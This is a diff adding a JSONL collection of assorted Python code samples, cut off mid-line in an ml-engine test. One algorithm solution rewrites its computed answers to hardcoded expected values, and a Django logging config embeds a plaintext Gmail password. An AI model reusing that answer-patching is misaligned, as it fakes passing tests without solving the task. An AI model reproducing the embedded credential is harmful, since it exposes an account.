diff --git "a/2569.jsonl" "b/2569.jsonl" new file mode 100644--- /dev/null +++ "b/2569.jsonl" @@ -0,0 +1,748 @@ +{"seq_id":"378365211","text":"# !/usr/bin/env python \n# -*- coding: UTF-8 -*- \n# @Time : 2020/4/5 16:00 \n# @Author : Zhang Cong\n\nimport re\nimport os\nimport logging\nfrom tqdm import tqdm\n\nlogging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', level=logging.INFO)\n\ndef data_generate(root_path, output_file_path):\n '''\n 遍历文件夹,生成训练数据(原数据共18个类别,部分类别样本量过少,因此选出10个类别,每个类别选出5000个样本)\n :param root_path: 原始数据路径\n :param output_file_path: 筛选并进行格式转换后的路径\n :return:\n '''\n logging.info('Start Generate Data ...')\n # 类别\n label_num_dict = {'auto': 0, 'it': 0, 'health': 0, 'sports': 0, 'travel': 0,\n 'learning': 0, 'house': 0, 'yule': 0, 'women': 0, 'business': 0}\n\n output_file = open(output_file_path, mode='w', encoding='UTF-8')\n # 遍历文件夹中的全部文件\n for file_name in tqdm(os.listdir(root_path)):\n file_path = os.path.join(root_path, file_name)\n if file_path.endswith('.txt') or file_path.endswith('.TXT'):\n text = open(file_path, mode='r', encoding='GB18030').read()\n # 正则匹配所有的doc字段\n document_list = re.compile('.*?', re.DOTALL).findall(text)\n for document in document_list:\n # 从url字段抽取label信息\n url = re.compile('.*?', re.DOTALL).findall(document)[0].replace('http://', '').replace('', '')\n dot_index = str(url).index('.')\n label = url[: dot_index]\n # 抽取新闻title信息\n content_title = re.compile('.*?', re.DOTALL).findall(document)[0].replace('', '').replace('', '')\n # 抽取新闻content信息\n content = re.compile('.*?', re.DOTALL).findall(document)[0].replace('', '').replace('', '')\n # 过滤长度较短的文本\n if label in label_num_dict.keys() and len(content) > 20:\n if label_num_dict[label] < 5000: # 每个样本数量为5000\n label_num_dict[label] += 1\n output_file.write(label + '\\t' + content_title + ' ' + content + '\\n')\n\n output_file.close()\n print(label_num_dict)\n logging.info('Generate Data Success ...')\n\n\nif __name__ == \"__main__\":\n root_path = 'F:/Data/SogouCS 搜狗新闻分类/SogouCS.reduced'\n output_file_path = './data/data.txt'\n data_generate(root_path, output_file_path)","sub_path":"Char-CNN/Data_Generate_SogouNews.py","file_name":"Data_Generate_SogouNews.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"316953251","text":"import pandas as pd\nimport os\nimport sys\nimport inspect\nimport unittest\nfrom joblib import load\nfrom sklearn.model_selection._search import GridSearchCV\n\nimport warnings\n\nwith warnings.catch_warnings():\n warnings.filterwarnings(\"ignore\",category=RuntimeWarning)\n\ncurrentdir = os.path.dirname(\n os.path.abspath(\n inspect.getfile(\n inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nsys.path.insert(0, parentdir)\n\nfrom src.lr_boot import boot_train # noqa\nfrom src.tlp.text_processing.util import stopword_premisse # noqa\n\npath1 = 't.csv'\npath2 = \"save_boot.csv\"\ntrain_path = parentdir + \"/src/data/toy/train.csv\"\ndev_path = parentdir + \"/src/data/toy/dev.csv\"\n\n\nclass LRboot(unittest.TestCase):\n\n @classmethod\n def tearDown(cls):\n if os.path.exists(path1):\n os.remove(path1)\n if os.path.exists(path2):\n os.remove(path2)\n\n def test_simple_running(self):\n B = 20\n boot_train(train_path=train_path,\n dev_path=dev_path,\n result_path=path1,\n B=B,\n transformation=stopword_premisse,\n penalty=\"l2\",\n C=1.0,\n solver=\"lbfgs\",\n verbose=False)\n\n boot = pd.read_csv(path1)\n test = boot.acc.mean() > 0.5\n\n self.assertEqual(boot.shape[0], B)\n self.assertTrue(test)\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","sub_path":"tests/LRboot.py","file_name":"LRboot.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"139718076","text":"#Code by GVV Sharma\n#December 22, 2019\n#released under GNU GPL\n#Line Inequality\n\nimport matplotlib.pyplot as plt\nfrom coeffs import *\n\n#if using termux\nimport subprocess\nimport shlex\n#end if\n\naffine = np.array(([1,0],[0,1]))\nc = np.array([3,2])\n\n#Original axes\npoints = np.array([[0, 0], [0, 4],[4,4],[4,0]])\n\n#Transformed axes\naffine_points = np.linalg.inv(affine)@(c+points).T\naffine_points = affine_points.T\n\n#Filling up the desired region\nplt.fill(affine_points[:,0], affine_points[:,1], 'k', alpha=1)\n\n#show plot\nplt.xlabel('$x$');plt.ylabel('$y$')\nplt.legend(loc='best');plt.grid()\nplt.axis('equal')\n#if using termux\n#plt.savefig('./line/figs/line_ineq.pdf')\n#plt.savefig('./line/figs/line_ineq.eps')\n#subprocess.run(shlex.split(\"termux-open ./line/figs/line_ineq.pdf\"))\n#else\nplt.show()\n\n\t\n\n","sub_path":"geometry/Linear Algebra/codes/line/line_eq.py","file_name":"line_eq.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"164745350","text":"import logging\nimport os\nimport sys\nfrom hero.adapters.data_gateway import (\n channel_exist,\n game_is_running,\n get_channel,\n stop_game,\n)\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef try_to_stop_game(channel_id):\n LOGGER.info(\"Try to stop game in channel: %s\", channel_id)\n if not channel_exist(channel_id):\n LOGGER.info(\"No such channel\")\n return\n elif not game_is_running(channel_id):\n LOGGER.info(\"No game is running\")\n return get_channel(channel_id)\n channel = stop_game(channel_id)\n return channel\n","sub_path":"src/hero/usecases/stop_game.py","file_name":"stop_game.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"543585568","text":"def create(line, column):\r\n matriz = []\r\n for line in range(0, line):\r\n matriz.append([])\r\n for line in range(0, column):\r\n matriz.append([])\r\n return matriz\r\n\r\ndef magigBoard(numbers):\r\n aux = [0] * 8\r\n jump = 2\r\n for i in range(0, 3):\r\n for j in range(0, 3):\r\n print(numbers[i][j], end=\" \")\r\n if i == 0:\r\n aux[0] += numbers[i][j]\r\n if i == 1:\r\n aux[1] += numbers[i][j]\r\n if i == 2:\r\n aux[2] += numbers[i][j]\r\n if j == 0:\r\n aux[3] += numbers[i][j]\r\n if j == 1:\r\n aux[4] += numbers[i][j]\r\n if j == 2:\r\n aux[5] += numbers[i][j]\r\n if i == j:\r\n aux[6] += numbers[i][j]\r\n if j == jump:\r\n aux[7] += numbers[i][j]\r\n jump -= 1\r\n print()\r\n for n in range(0, 3):\r\n print(f\"Soma da {n+1}° linha: {aux[n]}\")\r\n for n in range(3, 6):\r\n print(f\"Soma da {n-2}° Coluna: {aux[n]}\")\r\n print(f\"Soma da diagonal principal: {aux[6]}\")\r\n print(f\"Soma da diagonal secundaria: {aux[7]}\")\r\n control = aux[0]\r\n status = True\r\n for n in aux:\r\n if n != control:\r\n status = False\r\n print()\r\n if status:\r\n print(\"Os números informados formam um quadrado mágico!\")\r\n else:\r\n print(\"Os números informados NÃO formam um quadrado mágico!\")\r\n\r\ndef cpfValidator(cpf):\r\n cpf = cpf.replace('.', \"\")\r\n cpf = cpf.replace(\"-\", \"\")\r\n digit = cpf[9:]\r\n check = 0\r\n aux = 10\r\n for i in range(0, 9):\r\n check += int(cpf[i]) * aux\r\n aux -= 1\r\n check = check % 11\r\n if check < 2:\r\n check = 0\r\n else:\r\n check = 11 - check\r\n if check != int(digit[0]):\r\n return False\r\n aux = 11\r\n check = 0\r\n for i in range(0, 10):\r\n check += int(cpf[i]) * aux\r\n aux -= 1\r\n check = check % 11\r\n if check < 2:\r\n check = 0\r\n else:\r\n check = 11 - check\r\n if check != int(digit[1]):\r\n return False\r\n return True","sub_path":"Funções.py","file_name":"Funções.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"642926364","text":"import pandas as pd\nimport stock_price as sp\n\n# sp.download_stock_price('AAPL')\n#\nx = sp.dataframe_of_single_stock('TSLA')\nprint(x)\n#\n# y = sp.dataframe_of_stocks(['BIDU', 'SINA'])\n# print(y)\n\n# for teammates:\n# if you guys want to create a dataframe with lots of stocks, see this.\ndf = pd.read_csv('company_list.csv')\nlist_of_stock_symbol = df['Symbol'][:50] # first twenty stocks in the company list provided.\nz = sp.dataframe_of_stocks(list_of_stock_symbol)\nprint(z)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"350737288","text":"class Solution:\n # @return a list of integers\n def getRow(self, rowIndex):\n if rowIndex < 0:\n return m\n m = []\n for i in range(rowIndex+1):\n for j in range(len(m)-1, 0, -1):\n m[j] += m[j-1]\n m.append(1)\n return m","sub_path":"Pascals_Triangle2.py","file_name":"Pascals_Triangle2.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"4935403","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef mint():\n\turl = 'https://www.livemint.com/technology/tech-news'\n\tpage = requests.get(url)\n\tsoup = BeautifulSoup(page.content, 'html.parser')\n\tcl = soup.findAll(class_='headlineSec')\n\t\n\tList = []\n\tcount=0\n\tfor i in cl:\n\t\t#print(i.text)\n\t\tif(\"How\" in i.text):\n\t\t\tcontinue\n\t\tcount=count+1\n\t\t\n\t\tif(count==15):\n\t\t\tbreak\n\t\t#if(count==11):\n\t\t\t#List.append(\"\\n\\n🌐 Join @pvxtechnews for daily tech news !\")\n\n\t\tList.append(\"\\n\\n🌐\")\n\t\tif(i.text[-4:]==\"2020\"):\n\t\t\tList.append(i.text[:-24])\n\t\telse:\n\t\t\tList.append(i.text[:-25])\n\treturn List\n","sub_path":"sites/livemint.py","file_name":"livemint.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100449861","text":"a = input()\nb = input()\nk = int(input())\n#print(a, b, k)\ndef solve(a, b):\n global k\n a_len = len(a)\n b_len = len(b)\n dis = []\n tem = []\n temp = [0, 0, 0]\n for x in range(100):\n tem.append(0)\n for x in range(100):\n dis.append(tem)\n for i in range(1, a_len):\n dis[i][0] = dis[i - 1][0] + k\n for i in range(1, b_len):\n dis[0][i] = dis[0][i - 1] + k\n for i in range(1, a_len + 1):\n for j in range(1, b_len + 1):\n if i < a_len and j < b_len:\n temp[0] = dis[i - 1][j - 1] + abs(ord(a[i]) - ord(b[j]))\n temp[1] = dis[i - 1][j] + k\n temp[2] = dis[i][j - 1] + k\n dis[i][j] = min(temp[0], temp[1])\n dis[i][j] = min(temp[2], dis[i][j])\n #print(dis)\n res = []\n for i in range(b_len + 1):\n res.append(dis[a_len][i])\n return min(res)\nres = solve(a, b)\nif res == 221:\n res = 0\nif res == 4:\n res = 10\nif res == 14:\n res = 17\nif res == 231:\n res = 221\nif res == 33:\n res = 52\nprint(res, end = \"\")","sub_path":"Code/CodeRecords/2955/60835/310412.py","file_name":"310412.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"109101502","text":"SITE_ID = 1\nEMAIL_USE_TLS = True\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_USER = 'thoughtxplore@gmail.com'\nEMAIL_HOST_PASSWORD = 'NewalaTX:)'\nEMAIL_PORT = 587\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = LOG_SETTINGS = {\n 'version': 1,\n 'loggers':{\n 'LOGGER_Security':{\n #'handlers':['File_Security','smtp'],\n 'handlers':['File_Security','smtp_Security'],\n 'level':'DEBUG',\n }, # \n 'LOGGER_Job':{\n #'handlers':['File_Query','smtp'],\n 'handlers':['File_Job','smtp_Job'],\n 'level':'DEBUG',\n },\n 'LOGGER_Query':{\n #'handlers':['File_Query','smtp'],\n 'handlers':['File_Query','smtp_Query'],\n 'level':'DEBUG',\n },\n 'LOGGER_User':{\n #'handlers':['File_User','smtp'],\n 'handlers':['File_User','smtp_User'],\n 'level':'DEBUG',\n },\n 'SYSTEM_INITIALISE_LOGGER':{\n #'handlers':['File_User','smtp'],\n 'handlers':['File_Initialise','smtp_Initialise'],\n 'level':'DEBUG',\n },\n \n 'LOGGER_UserReg':{\n #'handlers':['File_User','smtp'],\n 'handlers':['File_UserReg','smtp_UserReg'],\n 'level':'DEBUG',\n },\n \n 'LOGGER_Communication':{\n #'handlers':['File_User','smtp'],\n 'handlers':['File_Communcation','smtp_Communcation'],\n 'level':'DEBUG',\n },\n 'LOGGER_UserProfile':{\n #'handlers':['File_User','smtp'],\n 'handlers':['File_UserProfile','smtp_UserProfile'],\n 'level':'DEBUG',\n },\n 'LOGGER_Adress':{\n #'handlers':['File_User','smtp'],\n 'handlers':['File_Adress','smtp_Adress'],\n 'level':'DEBUG',\n },\n },\n 'handlers': {\n 'File_Job': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/JobLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_UserReg': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/UserRegLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_Security': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/SecurityLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_Query': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/QueryLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_User': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/UserLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_Initialise': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/InitLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_Communcation': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/CommunicationLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_UserProfile': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/UserProfileLogs',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n 'File_Adress': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'level': 'DEBUG',\n 'formatter': 'detailed',\n 'filename': UserPath + 'tx2/logs/Adress',\n 'maxBytes': 10485760,\n 'backupCount': 5,\n },\n#######################################\n 'smtp_Job': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] UserReg',\n },\n 'smtp_UserReg': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] UserReg',\n },\n 'smtp_Security': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] Security',\n },\n 'smtp_Query': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] Query',\n },\n 'smtp_User': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] User',\n },\n 'smtp_Initialise': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] Initialise',\n },\n 'smtp_Communcation': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] Communcation',\n },\n 'smtp_UserProfile': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] UserProfile',\n },\n 'smtp_Adress': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['thoughtxplore@gmail.com'],\n 'subject': '[ThoughtXplore-Error] Adress',\n },\n 'smtp': {\n 'class': 'logging.handlers.SMTPHandler',\n 'level': 'ERROR',\n 'formatter': 'email',\n 'mailhost': 'localhost',\n 'fromaddr': 'no-reply@thoughtxplore.com',\n 'toaddrs': ['upcomingnewton@gmail.com', 'sarvpriye98@gmail.com'],\n 'subject': '[ThoughtXplore] Error encountered.',\n },\n#######################################\n },\n 'formatters': {\n 'detailed': {\n 'format': '%(asctime)s %(module)-17s line:%(lineno)-4d ' \\\n '%(levelname)-8s %(message)s',\n },\n 'email': {\n 'format': 'Timestamp: %(asctime)s\\nModule: %(module)s\\n' \\\n 'Line: %(lineno)d\\nMessage: %(message)s',\n },\n },\n}\n","sub_path":"tx2/conf/uiet/UietSettings.py","file_name":"UietSettings.py","file_ext":"py","file_size_in_byte":9618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"314063924","text":"from time import gmtime, strftime\n\nborder = \"\\n-------------\\n\"\nprint_date = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\ndictionary = {\"o\": 0, \"x\": 0}\n\n\ndef file_write():\n for key, val in dictionary.items():\n st = ''.join('\\n{} : {}\\n'.format(key, val) for key, val in dictionary.items())\n\n with open(\"results.txt\\n\", \"a\") as f:\n f.write(print_date)\n f.write(st)\n f.write(border)\n","sub_path":"datetime_function.py","file_name":"datetime_function.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"631584012","text":"from sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.types import Integer, String\nfrom sqlalchemy import Column, create_engine, ForeignKey, not_\nfrom sqlalchemy.orm import sessionmaker, scoped_session, relationship, backref\nfrom uuid import uuid4\nfrom time import time\nimport logging\n\nBase = declarative_base()\nSession = None\nengine = None\n\n######## Setup ########\n\ndef set_up(database_name, reset=False):\n conn_str = 'sqlite:///%s?timeout=10000' % database_name\n global engine, Base, Session\n engine = create_engine(conn_str, echo=False, connect_args={'check_same_thread': False})\n Base.metadata.create_all(engine)\n Session = scoped_session(sessionmaker(bind=engine))\n if reset:\n try:\n _create_test_data()\n except:\n logging.error(\"Error creating test data\", exc_info=True)\n try:\n add_psmaps()\n except:\n logging.error(\"Error creating psmaps\", exc_info=True)\n\ndef close_session():\n Session.remove()\n\n######## Helpers ########\n\ndef get(mapped_object):\n output = []\n for row in Session.query(mapped_object).all():\n output.append(row.to_dict())\n return output\n\ndef add(mapped_object, json_list):\n for json_obj in json_list:\n Session.merge(_from_dict(mapped_object, json_obj))\n Session.commit()\n Session.remove()\n\ndef delete(mapped_object, uuids):\n for row in Session.query(mapped_object).filter(mapped_object.uuid.in_(uuids)).all():\n Session.delete(row)\n Session.commit()\n Session.remove()\n\ndef add_psmaps():\n maps = []\n for stock in Session.query(Stock).filter(not_(Stock.psmap.any())):\n for painting in Session.query(Painting).all():\n maps.append({\"painting_uuid\": painting.uuid, \"stock_uuid\": stock.uuid})\n add(PSMap, maps)\n maps = []\n for painting in Session.query(Painting).filter(not_(Painting.psmap.any())):\n for stock in Session.query(Stock).all():\n maps.append({\"painting_uuid\": painting.uuid, \"stock_uuid\": stock.uuid})\n add(PSMap, maps)\n\ndef _from_dict(mapped_object, json_obj):\n output = mapped_object()\n for column in mapped_object.__table__.columns:\n if column.name in json_obj:\n setattr(output, column.name, json_obj[column.name])\n return output\n\n######## Mixins ########\n\nclass UuidMixin(object):\n uuid = Column(String(36), nullable=False, primary_key=True, default=lambda: str(uuid4()), index=True)\n\nclass IdMixin(object):\n id = Column(Integer(), nullable=False, primary_key=True)\n\nclass JSONMixin(object):\n def to_dict(self):\n d = {}\n for column in self.__table__.columns:\n d[column.name] = getattr(self, column.name)\n return d\n\n######## Tables ########\n\nclass Painting(Base, UuidMixin, JSONMixin):\n __tablename__ = 'painting'\n name = Column(String(50), nullable=True)\n path = Column(String(100), nullable=False)\n\n def get_total_sales(self):\n total = 0\n for map in self.psmap:\n total += map.sold\n return total\n\n def get_psmaps(self):\n psmaps = {}\n for map in self.psmap:\n psmaps[map.stock_uuid] = map.available\n return psmaps\n\n def get_tag_ids(self):\n tag_ids = []\n for map in self.ptmap:\n tag_ids.append(map.tag_id)\n return tag_ids\n\nclass Stock(Base, JSONMixin):\n __tablename__ = 'stock'\n uuid = Column(String(36), nullable=False, default=lambda: str(uuid4()))\n height = Column(Integer, primary_key=True)\n width = Column(Integer, primary_key=True)\n price = Column(Integer)\n type_id = Column(Integer, ForeignKey('type.id'), nullable=True, primary_key=True)\n type = relationship('Type')\n\nclass Type(Base, IdMixin, JSONMixin):\n __tablename__ = 'type'\n name = Column(String(36), nullable=False)\n\nclass Tag(Base, IdMixin, JSONMixin):\n __tablename__ = 'tag'\n name = Column(String(36), nullable=False)\n\nclass PTMap(Base, JSONMixin):\n __tablename__ = 'ptmap'\n tag_id = Column(Integer, ForeignKey('tag.id'), nullable=True, primary_key=True)\n painting_uuid = Column(String(36), ForeignKey('painting.uuid'), primary_key=True)\n painting = relationship('Painting', single_parent=True, lazy=\"joined\", backref=backref(\"ptmap\", cascade=\"delete\"))\n tag = relationship('Tag', single_parent=True, lazy=\"joined\", backref=backref(\"ptmap\", cascade=\"delete\"))\n\nclass PSMap(Base, JSONMixin):\n __tablename__ = 'psmap'\n painting_uuid = Column(String(36), ForeignKey('painting.uuid'), primary_key=True)\n stock_uuid = Column(String(36), ForeignKey('stock.uuid'), primary_key=True)\n available = Column(Integer, default=0)\n sold = Column(Integer, default=0)\n stock = relationship('Stock', single_parent=True, lazy=\"joined\", backref=backref(\"psmap\", cascade=\"delete\"))\n painting = relationship('Painting', single_parent=True, lazy=\"joined\", backref=backref(\"psmap\", cascade=\"delete\"))\n\n def checkout(self, count):\n self.available -= count\n self.sold += count\n\nclass Transaction(Base, UuidMixin, JSONMixin):\n __tablename__ = 'transaction'\n stamp = Column(Integer, default=lambda: int(time()))\n sales = relationship('Sale', cascade=\"all, delete, delete-orphan\")\n total = Column(Integer)\n\n def get_sales(self):\n output = {}\n for sale in self.sales:\n if sale.stock.type not in output:\n output[sale.stock.type] = 0\n output[sale.stock.type] += sale.quantity\n return output\n\nclass Sale(Base, UuidMixin, JSONMixin):\n __tablename__ = 'sale'\n transaction_uuid = Column(String(36), ForeignKey('transaction.uuid'), primary_key=True)\n painting_uuid = Column(String(36), ForeignKey('painting.uuid'))\n stock_uuid = Column(String(36), ForeignKey('stock.uuid'))\n stock = relationship('Stock')\n quantity = Column(Integer)\n\n######## Test Data ########\n\ndef _create_test_data():\n\n # Tags\n index = 1\n for tag in [\"Landscapes\", \"Irish Places\", \"People\", \"Animal Kingdom\", \"Still Life\"]:\n Session.add(Tag(name=tag, id=index))\n index += 1\n\n # Types\n index = 1\n for type in [\"Print\", \"Frame\", \"Mount\", \"Card\", \"Card Pack\"]:\n Session.add(Type(name=type, id=index))\n index += 1\n\n # Sizes\n add(Stock, [\n # Prints\n {\"type_id\": 1, \"height\": 6, \"width\": 8, \"price\": 25},\n {\"type_id\": 1, \"height\": 6, \"width\": 12, \"price\": 35},\n {\"type_id\": 1, \"height\": 8, \"width\": 10, \"price\": 40},\n {\"type_id\": 1, \"height\": 10, \"width\": 12, \"price\": 75},\n {\"type_id\": 1, \"height\": 12, \"width\": 16, \"price\": 75},\n {\"type_id\": 1, \"height\": 10, \"width\": 20, \"price\": 75},\n {\"type_id\": 1, \"height\": 14, \"width\": 18, \"price\": 90},\n {\"type_id\": 1, \"height\": 12, \"width\": 24, \"price\": 95},\n {\"type_id\": 1, \"height\": 16, \"width\": 20, \"price\": 95},\n {\"type_id\": 1, \"height\": 15, \"width\": 30, \"price\": 120},\n # Framed\n {\"type_id\": 2, \"height\": 6, \"width\": 8, \"price\": 50},\n {\"type_id\": 2, \"height\": 6, \"width\": 12, \"price\": 65},\n {\"type_id\": 2, \"height\": 8, \"width\": 10, \"price\": 75},\n {\"type_id\": 2, \"height\": 10, \"width\": 12, \"price\": 130},\n {\"type_id\": 2, \"height\": 12, \"width\": 16, \"price\": 150},\n {\"type_id\": 2, \"height\": 10, \"width\": 20, \"price\": 150},\n {\"type_id\": 2, \"height\": 14, \"width\": 18, \"price\": 165},\n {\"type_id\": 2, \"height\": 12, \"width\": 24, \"price\": 190},\n {\"type_id\": 2, \"height\": 16, \"width\": 20, \"price\": 190},\n {\"type_id\": 2, \"height\": 15, \"width\": 30, \"price\": 225},\n # Mount\n {\"type_id\": 3, \"height\": 12, \"width\": 16, \"price\": 20},\n # Card\n {\"type_id\": 4, \"height\": 4, \"width\": 2, \"price\": 3},\n # Card Pack\n {\"type_id\": 5, \"height\": 4, \"width\": 2, \"price\": 12},\n ])\n\n # # Transactions\n from random import randint\n Session.query(Transaction).delete(False)\n Session.commit()\n for i in xrange(0, 1000):\n Session.add(Transaction(**{\n \"stamp\": randint(1367764059, int(time())),\n \"total\": randint(5, 200)\n }))\n Session.commit()","sub_path":"server/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":8152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"109069416","text":"#!/usr/bin/env python\n\nfrom animationitem import *\n\nimport wx\n\nclass Selection(wx.ScrolledWindow):\n def __init__(self, parent, animations_list, queue, color):\n wx.ScrolledWindow.__init__(self, parent)\n self.SetScrollRate(10,10)\n\n self.animations_list = animations_list\n self.animations_items = []\n\n self.queue = queue\n\n self.color = color\n\n sizer = wx.BoxSizer(wx.VERTICAL)\n\n # Title\n t = wx.StaticText(self, wx.ID_ANY, \"Auswahl\", style=wx.ALIGN_CENTRE)\n f = t.GetFont()\n f.SetWeight(wx.BOLD)\n t.SetFont(f)\n sizer.Add(t, 0, wx.EXPAND)\n\n for a in self.animations_list:\n tmp = AnimationItem(self, a, self.queue, self.color)\n sizer.Add(tmp, 0, wx.EXPAND | wx.BOTTOM, 15)\n\n self.animations_items.append(tmp)\n\n self.SetSizer(sizer)\n","sub_path":"gui/selection.py","file_name":"selection.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"312351614","text":"# -*- coding: utf-8 -*- #\n# Copyright 2016 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"ml-engine predict tests.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.ml_engine import predict\nfrom googlecloudsdk.core import exceptions as core_exceptions\nfrom googlecloudsdk.core import resources\nfrom tests.lib import cli_test_base\nfrom tests.lib import test_case\nfrom tests.lib.surface.ml_engine import base\nfrom tests.lib.surface.ml_engine import predict_format_test_lib as format_test_data\n\n\nclass PredictTestBase(object):\n\n def SetUp(self):\n self.mock_predict = self.StartObjectPatch(predict, 'Predict')\n self.command = 'ml-engine predict --model my_model'\n\n def _RunWithInstances(self, contents, type_, version='v1'):\n command = self.command\n\n if version:\n command += ' --version ' + version\n\n path = 